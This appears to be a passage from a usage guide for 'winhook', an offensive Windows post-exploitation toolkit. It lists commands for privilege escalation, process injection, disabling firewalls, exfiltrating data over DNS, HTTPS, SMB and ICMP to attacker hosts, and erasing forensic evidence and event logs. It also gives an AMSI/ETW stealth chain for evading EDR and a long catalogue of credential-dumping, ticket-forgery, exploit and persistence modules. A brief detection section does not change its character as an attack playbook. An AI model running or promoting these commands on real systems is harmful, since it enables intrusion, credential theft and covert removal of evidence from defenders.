| WSL privesc | `winhook wsl_privesc --action enum` | Escape WSL to Windows host with elevated context |
| Scheduled task hijack | `winhook scheduled_task_hijack --action enum` | Hijack existing scheduled tasks with writable binaries |
| Server Operator abuse | `winhook server_operator_abuse --action enum` | Exploit Server Operators group (service config, driver load) |
| MSI abuse | `winhook msi_abuse --action enum` | MSI repair abuse, custom actions, installer hijacking |
| Backup Operator abuse | `winhook backup_operator_abuse --action enum` | Exploit Backup Operators group for SAM/NTDS extraction |
| AppLocker bypass | `winhook applocker_bypass --action enum` | 12+ AppLocker/WDAC bypass techniques |
| RID hijack | `winhook rid_hijack --action hijack --user lowpriv --rid 500` | Modify SAM F-value RID to 500 — user looks normal but has admin rights |
| RID enum | `winhook rid_hijack --action enum` | Enumerate local user RIDs and detect existing RID manipulation |

### Phase 10 — Local Reconnaissance

Understand the target environment before choosing attack and evasion strategies.

| Action | Command | Purpose |
|--------|---------|---------|
| Full recon | `winhook local_recon --action full` | Complete environment survey (AV/EDR, software, services, network, hotfixes) |
| AV/EDR detection | `winhook local_recon --action av` | Detect 26 AV/EDR products with evasion strategy recommendations |
| Software inventory | `winhook local_recon --action software` | Installed software, .NET versions, attack surface mapping |
| Service analysis | `winhook local_recon --action services` | Running services, vulnerable configs, SYSTEM services |
| Network survey | `winhook local_recon --action network` | Interfaces, connections, listening ports, DNS cache, SMB shares |
| Patch level | `winhook local_recon --action hotfixes` | Installed hotfixes, OS version, last update assessment |
| PS downgrade check | `winhook ps_downgrade --action check` | Check if PS 2.0 engine available for security bypass |
| PS downgrade exec | `winhook ps_downgrade --action execute --command CMD` | Execute via PS 2.0 (no AMSI/SBL/CLM) |
| Pipe enum | `winhook pipe_enum --action enum` | Enumerate named pipes with security-relevant pipe identification |
| Pipe ACL | `winhook pipe_enum --action acl` | Test pipe connectivity and impersonation potential |
| Pipe custom | `winhook pipe_enum --action custom` | Detect non-system named pipes (potential C2/implant indicators) |

### Phase 11 — Monitoring

Understand the target environment and detect defensive measures.

| Action | Command | Purpose |
|--------|---------|---------|
| Process monitoring | `winhook etw_process --duration 60` | Track process creation via ETW |
| Network monitoring | `winhook etw_network --duration 60` | Track connections via ETW |
| Screenshot (all) | `winhook screenshot_grab --action screen` | Capture all monitors for visual intelligence |
| Window capture | `winhook screenshot_grab --action window` | Capture active window only |
| Webcam snapshot | `winhook screenshot_grab --action webcam` | DirectShow webcam capture for proof of access |

### Phase 12 — Process Injection

Inject payloads into legitimate processes for AV/EDR evasion.

| Action | Command | Purpose |
|--------|---------|---------|
| Enum injectable | `winhook process_inject --action enum` | Enumerate injectable processes with high-value target recommendations |
| Process hollowing | `winhook process_inject --action hollow --target svchost.exe --payload PATH` | Spawn suspended → unmap → inject → resume |
| APC injection | `winhook process_inject --action apc --target explorer --payload PATH` | Queue shellcode to alertable thread |
| Thread hijacking | `winhook process_inject --action hijack --target PID --payload PATH` | Suspend thread → redirect RIP → resume |
| Early bird | `winhook process_inject --action earlybird --target svchost.exe --payload PATH` | Pre-init APC (runs before EDR hooks) |
| DLL injection | `winhook process_inject --action dll --target explorer --dll PATH` | CreateRemoteThread + LoadLibraryA |

### Phase 13 — Firewall Manipulation

Modify Windows Firewall to enable lateral movement and C2.

| Action | Command | Purpose |
|--------|---------|---------|
| Enum rules | `winhook firewall_manage --action enum` | List profiles, active rules, and custom rules |
| Disable profile | `winhook firewall_manage --action disable --profile all` | Disable firewall profile(s) |
| Allow port | `winhook firewall_manage --action allow --port 4444 --protocol tcp` | Create inbound/outbound allow rule |
| Port forward | `winhook firewall_manage --action forward --port 8080 --address 10.0.0.1` | netsh portproxy for pivoting |
| Restore firewall | `winhook firewall_manage --action restore` | Re-enable profiles, remove CS rules, clear port proxies |

### Phase 14 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

| Action | Command | Purpose |
|--------|---------|---------|
| Discover sensitive | `winhook data_exfil --action discover --target C:\Users` | Find credentials, documents, databases, configs |
| Stage files | `winhook data_exfil --action stage --target C:\Users` | Compress sensitive files into staging archive |
| DNS exfil | `winhook data_exfil --action dns --target FILE --domain exfil.attacker.com` | Encode data in DNS subdomain queries |
| HTTPS exfil | `winhook data_exfil --action https --target FILE --url https://c2/upload` | POST data to C2 endpoint over TLS |
| SMB exfil | `winhook data_exfil --action smb --target FILE --share \\HOST\SHARE` | Copy to attacker SMB share |
| ICMP exfil | `winhook data_exfil --action icmp --target FILE --listener IP` | Tunnel data in ICMP echo payloads |

### Phase 15 — Anti-Forensics

Remove forensic evidence before cleanup.

| Action | Command | Purpose |
|--------|---------|---------|
| Full cleanup | `winhook anti_forensics --action full` | Run all anti-forensics actions |
| Timestamp stomp | `winhook anti_forensics --action stomp --target PATH --reference REF` | Modify file timestamps to match reference |
| Prefetch clear | `winhook anti_forensics --action prefetch` | Remove suspicious prefetch entries |
| Amcache clear | `winhook anti_forensics --action amcache` | Remove execution evidence from Amcache hive |
| USN journal | `winhook anti_forensics --action usn` | Delete and recreate USN change journal |
| ShimCache clear | `winhook anti_forensics --action shimcache` | Clear AppCompatCache entries |
| Recent docs | `winhook anti_forensics --action recent` | Clear jump lists, MRU, recent documents |
| Selective event delete | `winhook event_tamper --action selective --log Security --event-id 4624` | Remove specific events without clearing entire log (avoids 1102) |
| Disable log source | `winhook event_tamper --action disable-source --log PowerShell` | Disable specific event log source |
| Audit policy modify | `winhook event_tamper --action audit-policy` | Modify audit policies to stop generating evidence |
| Log resize/rollover | `winhook event_tamper --action resize --log Security` | Shrink log max size to force rollover of old entries |
| Disable Sysmon | `winhook event_tamper --action disable-sysmon` | Unload Sysmon driver and disable service |

### Phase 16 — Cleanup (MANDATORY)

Always run cleanup before exiting a target.

```
winhook cleanup_win
```

The cleanup tool clears Security, System, Application, and PowerShell event logs, removes temporary files, removes Defender exclusions, and reports on AMSI/ETW patches.

## Detection Considerations

Windows post-exploitation tools are detectable by:
- **Sysmon** — Event IDs 1 (process create), 10 (process access for LSASS), 13 (registry)
- **Windows Event Log** — Event ID 4688 (process creation), 4624/4625 (logon), 1102 (log cleared), 4662 (directory service access), 4768/4769 (Kerberos)
- **EDR** — LSASS access monitoring, credential prompt anomaly detection, suspicious PowerShell
- **PPL (Protected Process Light)** — LSASS PPL blocks direct memory dumps (use nanodump_advanced to bypass)
- **Credential Guard** — Isolates LSASS in virtualization-based security
- **LDAP Signing** — Prevents unsigned LDAP modifications (blocks KrbRelayUp)
- **Protected Users group** — Prevents NTLM, delegation, and credential caching
- **ADCS Hardening** — StrongCertificateBindingEnforcement=2 blocks ESC9/10

### Stealth Mode Detection & Bypass Matrix

| Stealth Mode | What It Bypasses | What Still Detects It | Recommendation |
|--------------|-----------------|----------------------|----------------|
| `base64` | Command-line string signatures, static YARA rules on args, basic PowerShell logging | Script Block Logging (Event 4104) decodes before logging, deep packet inspection, EDR behavioral analysis | Use when only command-line auditing is active (Event 4688) |
| `amsi` | AMSI content scanning, PowerShell content-based detection, Defender real-time script analysis | Script Block Logging if enabled before patch, ETW-based EDR (patch `etw_blind` first), AMSI patch detection (Event 1116) | Run `etw_blind` before `amsi` mode for full coverage |
| `obfuscate` | Static string matching, YARA signature rules, basic regex-based detection, command-line forensics | Script Block Logging (logs deobfuscated), ML-based detection (behavioral), Constrained Language Mode (blocks `IEX`) | Best against signature-based AV; combine with `amsi` for defense-in-depth |
| `--pwsh` | CLM policies targeting powershell.exe, EDR hooks on powershell.exe AMSI provider, PS5.1-specific detections | EDR hooking pwsh.exe separately, AppLocker/WDAC blocking pwsh.exe, pwsh.exe Script Block Logging | Use when target has PS7 installed and EDR only hooks powershell.exe |

**Optimal stealth chain:** `etw_blind` → `amsi_bypass` → `--stealth amsi --pwsh` on subsequent commands. This disables ETW telemetry, patches AMSI, then runs all payloads through the patched pwsh.exe with AMSI-bypass encoding as a fallback layer.

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| lsass_dump | LSASS memory dump via MiniDumpWriteDump | T1003.001 — LSASS Memory |
| nanodump_advanced | EDR-bypass LSASS dump (snapshot/fork/seclogon) | T1003.001 — LSASS Memory |
| sam_dump | Registry hive extraction (SAM/SYSTEM/SECURITY) | T1003.002 — Security Account Manager |
| dpapi_extract | DPAPI secret decryption via CryptUnprotectData | T1555.003 — Credentials from Web Browsers |
| credential_prompt | Fake credential dialog via CredUI | T1056.002 — GUI Input Capture |
| keylog_win | Keystroke capture via SetWindowsHookEx | T1056.001 — Keylogging |
| etw_process | Process monitoring via ETW provider | T1057 — Process Discovery |
| etw_network | Network monitoring via ETW provider | T1049 — System Network Connections Discovery |
| clipboard_sniff | Clipboard monitoring via Win32 API | T1115 — Clipboard Data |
| amsi_bypass | AMSI patching in memory | T1562.001 — Disable or Modify Tools |
| etw_blind | ETW patching to blind EDR | T1562.006 — Indicator Blocking |
| defender_exclude | Windows Defender exclusion management | T1562.001 — Disable or Modify Tools |
| token_stomp | Remove security tool token privileges | T1562.001 — Disable or Modify Tools |
| cleanup_win | Event log clearing and artifact removal | T1070.001 — Clear Windows Event Logs |
| ad_enum | Active Directory enumeration (LDAP) | T1087.002 — Domain Account |
| bloodhound_collect | BloodHound data collection | T1087.002 — Domain Account |
| laps_dump | LAPS password extraction | T1555.005 — Password Managers |
| laps_v2_decrypt | Windows LAPS v2 encrypted password decryption | T1555.005 — Password Managers |
| gpo_enum | Group Policy enumeration | T1615 — Group Policy Discovery |
| ad_dns_enum | AD-integrated DNS enumeration | T1018 — Remote System Discovery |
| adws_recon | AD Web Services recon (port 9389) | T1018 — Remote System Discovery |
| cross_forest | Cross-forest trust analysis | T1482 — Domain Trust Discovery |
| kerberoast | Service ticket request for offline cracking | T1558.003 — Kerberoasting |
| asreproast | AS-REP hash extraction | T1558.004 — AS-REP Roasting |
| golden_ticket | TGT forgery with krbtgt hash | T1558.001 — Golden Ticket |
| silver_ticket | Service ticket forgery | T1558.002 — Silver Ticket |
| diamond_ticket | Modified legitimate TGT (stealthier than Golden) | T1558.001 — Golden Ticket |
| sapphire_ticket | S4U2self+U2U real PAC forgery (stealthiest) | T1558.001 — Golden Ticket |
| delegation_abuse | Kerberos delegation exploitation | T1550.003 — Pass the Ticket |
| overpass_hash | NTLM to Kerberos TGT conversion | T1550.002 — Pass the Hash |
| pass_the_ticket | Kerberos ticket export/import/inject | T1550.003 — Pass the Ticket |
| unpac_hash | Recover NT hash from PKINIT cert auth | T1649 — Steal or Forge Authentication Certificates |
| dcsync | Directory replication for credential extraction | T1003.006 — DCSync |
| dcshadow | Rogue DC registration for AD manipulation | T1207 — Rogue Domain Controller |
| skeleton_key | LSASS skeleton key injection | T1556.001 — Domain Controller Authentication |
| ad_acl_abuse | Active Directory ACL exploitation | T1222.001 — Windows File and Directory Permissions |
| adcs_abuse | AD Certificate Services exploitation (ESC1-8) | T1649 — Steal or Forge Authentication Certificates |
| adcs_esc_advanced | Advanced ADCS exploitation (ESC9-15) | T1649 — Steal or Forge Authentication Certificates |
| golden_cert | CA private key theft for certificate forgery | T1649 — Steal or Forge Authentication Certificates |
| pass_the_cert | LDAP/Kerberos auth via Schannel certificate | T1649 — Steal or Forge Authentication Certificates |
| shadow_creds | msDS-KeyCredentialLink manipulation | T1556.006 — Multi-Factor Authentication Interception |
| sid_history | SID History injection | T1134.005 — SID-History Injection |
| dns_admin_abuse | DnsAdmins group exploitation | T1574.001 — DLL Search Order Hijacking |
| adminsdholder | AdminSDHolder ACL backdoor | T1222.001 — Windows File and Directory Permissions |
| primary_group_abuse | Hidden group membership via primaryGroupID | T1078.002 — Domain Accounts |
| rbcd_chain | Full RBCD chain (machine account + S4U) | T1550.003 — Pass the Ticket |
| nopac | CVE-2021-42278/42287 sAMAccountName impersonation | T1558.001 — Golden Ticket |
| zerologon | CVE-2020-1472 Netlogon privilege escalation | T1210 — Exploitation of Remote Services |
| certifried | CVE-2022-26923 AD CS machine account escalation | T1649 — Steal or Forge Authentication Certificates |
| bad_successor | CVE-2025-53779 dMSA inheritance exploitation | T1078.002 — Domain Accounts |
| bronze_bit | CVE-2020-17049 S4U2proxy forwardable bypass | T1550.003 — Pass the Ticket |
| wmi_exec | Remote execution via WMI | T1047 — Windows Management Instrumentation |
| winrm_exec | Remote execution via WinRM | T1021.006 — Windows Remote Management |
| dcom_exec | Remote execution via DCOM | T1021.003 — Distributed Component Object Model |
| smb_exec | Remote execution via SMB services | T1021.002 — SMB/Windows Admin Shares |
| ntlm_coerce | NTLM authentication coercion | T1557.001 — LLMNR/NBT-NS Poisoning |
| coercer_full | Full NTLM coercion suite (12+ RPC methods) | T1557.001 — LLMNR/NBT-NS Poisoning |
| remote_monologue | DCOM-based NTLM coercion (no LSASS touch) | T1557.001 — LLMNR/NBT-NS Poisoning |
| krbrelayup | Local priv esc via Kerberos relay to LDAP | T1557.001 — LLMNR/NBT-NS Poisoning |
| mssql_abuse | MSSQL server exploitation | T1505.001 — SQL Stored Procedures |
| rdp_hijack | RDP session hijacking | T1563.002 — RDP Hijacking |
| schtask_persist | Scheduled task persistence | T1053.005 — Scheduled Task |
| service_persist | Windows service persistence | T1543.003 — Windows Service |
| registry_persist | Registry run key persistence | T1547.001 — Registry Run Keys |
| wmi_persist | WMI event subscription persistence | T1546.003 — WMI Event Subscription |
| com_hijack | COM object hijacking | T1546.015 — Component Object Model Hijacking |
| startup_persist | Startup folder/GPO script persistence | T1547.001 — Registry Run Keys |
| token_impersonate | Token impersonation/theft | T1134.001 — Token Impersonation/Theft |
| uac_bypass | UAC bypass techniques | T1548.002 — Bypass User Account Control |
| potato_attack | Potato privilege escalation variants | T1134.001 — Token Impersonation/Theft |
| printspooler_abuse | Print Spooler exploitation | T1068 — Exploitation for Privilege Escalation |
| ntds_dump | NTDS.dit database extraction | T1003.003 — NTDS |
| dpapi_domain | Domain DPAPI backup key extraction | T1555 — Credentials from Password Stores |
| cached_creds | Domain Cached Credentials extraction | T1003.005 — Cached Domain Credentials |
| mssql_creds | MSSQL credential enumeration | T1505.001 — SQL Stored Procedures |
| wifi_dump | WiFi profile/password extraction | T1555.005 — Password Managers |
| vault_dump | Windows Credential Vault extraction | T1555.004 — Windows Credential Manager |
| sccm_abuse | SCCM/MECM exploitation | T1072 — Software Deployment Tools |
| gpo_abuse | GPO modification for persistence | T1484.001 — Group Policy Modification |
| gmsa_dump | gMSA password extraction | T1555 — Credentials from Password Stores |
| unquoted_service_path | Unquoted service path exploitation | T1574.009 — Path Interception by Unquoted Path |
| weak_service_perms | Weak service DACL/binary permissions | T1574.010 — Services File Permissions Weakness |
| dll_hijack | DLL search order hijacking (10 known targets) | T1574.001 — DLL Search Order Hijacking |
| dll_sideload | DLL sideloading via trusted applications | T1574.002 — DLL Side-Loading |
| always_install_elevated | AlwaysInstallElevated MSI policy abuse | T1574.007 — Path Interception by PATH Environment Variable |
| stored_creds_abuse | Stored credential extraction (8 sources) | T1552.001 — Credentials In Files |
| privilege_abuse | Token privilege abuse (Se* privileges) | T1134 — Access Token Manipulation |
| named_pipe_privesc | Named pipe impersonation to SYSTEM | T1134.001 — Token Impersonation/Theft |
| byovd | Bring Your Own Vulnerable Driver | T1068 — Exploitation for Privilege Escalation |
| shadow_copy_abuse | VSS shadow copy credential access | T1003.003 — NTDS |
| wsl_privesc | WSL escape to Windows host | T1611 — Escape to Host |
| scheduled_task_hijack | Scheduled task binary hijacking | T1053.005 — Scheduled Task |
| server_operator_abuse | Server Operators group exploitation | T1078.002 — Domain Accounts |
| msi_abuse | MSI repair/installer hijacking | T1574.007 — Path Interception by PATH Environment Variable |
| backup_operator_abuse | Backup Operators group exploitation | T1078.002 — Domain Accounts |
| applocker_bypass | AppLocker/WDAC bypass techniques | T1218 — System Binary Proxy Execution |
| stealth_check | Verify stealth encoding modes on target | T1027 — Obfuscated Files or Information |
| local_recon | Local environment and AV/EDR product detection | T1082 — System Information Discovery |
| ps_downgrade | PowerShell 2.0 downgrade attack | T1059.001 — PowerShell |
| process_inject | Process injection (hollowing, APC, hijack, early bird, DLL) | T1055 — Process Injection |
| firewall_manage | Windows Firewall manipulation and port forwarding | T1562.004 — Disable or Modify System Firewall |
| data_exfil | Multi-channel data exfiltration (DNS, HTTPS, SMB, ICMP) | T1048 — Exfiltration Over Alternative Protocol |
| anti_forensics | Anti-forensics (timestamp stomp, prefetch, amcache, USN, shimcache) | T1070 — Indicator Removal |
| share_hunt | Network share hunting and sensitive file discovery | T1135 — Network Share Discovery |
| screenshot_grab | Screen, window, and webcam capture | T1113 — Screen Capture |
| reg_secrets | Registry credential extraction (AutoLogon, VNC, PuTTY, WinSCP, RDP, services) | T1552.002 — Credentials in Registry |
| browser_harvest | Browser password, cookie, history extraction (Chrome/Edge/Firefox/Brave) | T1555.003 — Credentials from Web Browsers |
| cert_steal | Certificate store enumeration and PFX export with private keys | T1649 — Steal or Forge Authentication Certificates |
| event_tamper | Selective event log tampering, Sysmon disable, audit policy modification | T1070.001 — Clear Windows Event Logs |
| proxy_pivot | Network pivoting (SOCKS proxy, reverse forward, SSH tunnel, portproxy) | T1090 — Proxy |
| wdigest_enable | WDigest plaintext credential caching control (UseLogonCredential) | T1556 — Modify Authentication Process |
| password_spray | Domain password spraying with lockout awareness | T1110.003 — Password Spraying |
| ntlm_relay | SMB1 Negotiate signing probe + NTLMv2 hash capture (NTLMSSP Type3 parse, hashcat 5600) | T1557.001 — LLMNR/NBT-NS Poisoning |
| responder_poison | LLMNR poisoner (DNS-format response, question echo) + NBT-NS passive monitoring | T1557.001 — LLMNR/NBT-NS Poisoning |
| azure_ad_hybrid | Azure AD hybrid attacks (PRT theft, AAD Connect, Seamless SSO key) | T1528 — Steal Application Access Token |
| adidns_poison | AD-integrated DNS record injection via LDAP (MS-DNSP compliant DNS_RPC_RECORD) | T1584.002 — DNS Server |
| machine_account | Machine account create/delete via MachineAccountQuota abuse | T1136.002 — Domain Account |
| bitlocker_keys | BitLocker recovery key extraction (local, AD, remote) | T1486 — Data Encrypted for Impact |
| win_hello_dump | Windows Hello NGC key extraction and PIN policy analysis | T1556 — Modify Authentication Process |
| exchange_abuse | Exchange Server exploitation (GAL, mailbox, transport rules, privesc) | T1114 — Email Collection |
| ppl_bypass | PPL bypass — RunAsPPL check, Credential Guard detection, vulnerable driver guidance | T1574.010 — Services File Permissions Weakness |
| bits_persist | BITS transfer job persistence with NotifyCmdLine and upload exfil | T1197 — BITS Jobs |
| wsus_abuse | WSUS exploitation — HTTP MITM assessment, SharpWSUS injection workflow | T1072 — Software Deployment Tools |
| golden_gmsa | KDS root key extraction for offline gMSA password computation | T1555 — Credentials from Password Stores |
| silver_saml | ADFS token-signing cert extraction and SAML token forgery | T1606.002 — SAML Tokens |
| rdp_shadow | Active RDP session shadowing (view/control, consent/no-consent) | T1563.002 — RDP Hijacking |
| print_monitor_persist | Print/port monitor DLL persistence via Spooler service (SYSTEM) | T1547.010 — Port Monitors |
| clm_bypass | CLM escape via MSBuild/runspace/InstallUtil/XSLT/Add-Type (5 methods) | T1059.001 — PowerShell |
| ssp_persist | SSP enumeration, AddSecurityPackage install, registry persistence for credential capture | T1547.005 — Security Support Provider |
| password_filter | Notification Packages enumeration and password filter DLL registration | T1556.002 — Password Filter DLL |
| dsrm_abuse | DSRM local admin abuse on DCs — DsrmAdminLogonBehavior check/set, password sync | T1003.003 — NTDS |
| ntlmv1_downgrade | LmCompatibilityLevel check/downgrade/restore for NTLMv1 hash cracking | T1550.002 — Pass the Hash |
| accessibility_backdoor | Accessibility binary replacement (sethc/utilman/narrator/osk/magnify) with IFEO fallback | T1546.008 — Accessibility Features |
| ifeo_persist | IFEO debugger and SilentProcessExit persistence — process redirection/exit monitoring | T1546.012 — Image File Execution Options Injection |
| rid_hijack | SAM F-value RID manipulation for hidden administrator access | T1078.002 — Domain Accounts |
| winlogon_persist | Winlogon Shell/Userinit/Notify registry persistence (SYSTEM at logon) | T1547.004 — Winlogon Helper DLL |
| appinit_dll | AppInit_DLLs mass DLL injection into all User32.dll processes | T1546.010 — AppInit DLLs |
| netsh_helper | Netsh helper DLL persistence (loads on netsh.exe invocation) | T1546.007 — Netsh Helper DLL |
| time_provider | W32Time service DLL provider persistence (SYSTEM, rarely audited) | T1547.003 — Time Providers |
| screensaver_persist | Screensaver SCRNSAVE.EXE idle-trigger persistence (no admin, HKCU) | T1546.002 — Screensaver |